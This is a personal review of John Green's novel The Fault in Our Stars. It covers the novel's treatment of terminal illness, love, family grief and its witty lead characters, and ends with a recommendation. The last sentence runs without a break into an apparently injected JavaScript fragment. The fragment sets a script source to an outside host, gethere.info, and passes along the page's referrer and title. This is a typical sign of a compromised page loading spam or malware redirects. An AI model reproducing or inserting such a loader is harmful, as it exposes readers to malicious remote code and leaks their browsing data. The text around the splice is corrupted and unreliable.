by Rachel Munford
I’ve always thought that death was never a morbid subject – it’s factual, not an imaginative process. John Green’s The Fault in Our Stars is a novel that explores death and relationships in a way that isn’t gloomy or pessimistic.
Hazel, the protagonist, has a form of terminal lung cancer (despite valiant efforts to extinguish it) and is obsessed with a novel about a girl who suffers the same illness. She agrees begrudgingly to attend a support group to get out of the house more and there, at a random meeting, she meets Augustus Waters, who she falls in love with. The novel follows them through the hardships of having a romance in a limited time frame and how love is really worth the risk of pain, even when you know you’re going to die.
As can be imagined, a major theme in the book is death and its relationship with love. How can eternal love fit into a time frame when it is supposed to be eternal – forever? This makes for interesting reading, in particular for those who may not usually be attracted to the romantic genre, and John Green presents a couple who are original as well as a great deal more fascinating than any of the more well-known fictional romances.
There are many things that are intriguing about this novel; for example, it illuminates the effects that cancer has upon those around the sufferer. You can clearly see at many points in the story that Hazel’s parents truly love her and that it hurts them even more when Hazel tries to cut herself off emotionally from them, to try to lessen the pain that will follow her death. Her mother at one point states in tears she will ‘no longer be a mother’. It is no doubt one of the most heart-wrenching aspects of the plot. Another thing that keeps you immersed in the story itself is Augustus’s friend Isaac who has cancer in his eyes, so must be made blind to live.
The main characters, however, successfully lighten the over-all tone: Hazel and Augustus are witty and intelligent, as well as well read. Augustus is particularly interesting as a male lead, due to his charming nature and his amputated leg. It’s nice to see a ‘dysfunctional’ romance gain some recognition, even if it is within a limited audience. The couple is not at all ‘regular’ which is
something that rings true in the real world. That’s why, I guess, Augustus and Hazel are so loveable as even in their difficult situation they are a fictional realisation of a ‘realistic’ couple. However, I do feel that I should warn those who may be interested: some of the plot twists are extremely upsetting and may cause several tears. But a good test of a novel is whether the readers can become emotionally involved.
The Fault In Our Stars is not what you think; it is not a dull romance or at all depressing. It is a great exploration of the trials of life and how some people make the best out of bad situations. I would encourage you to at least consider reading it as long as all this talk of death doesn’t put you off, because, in spite of the fact I cried for a great deal of the book, I actually felt better as a person for having read it.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;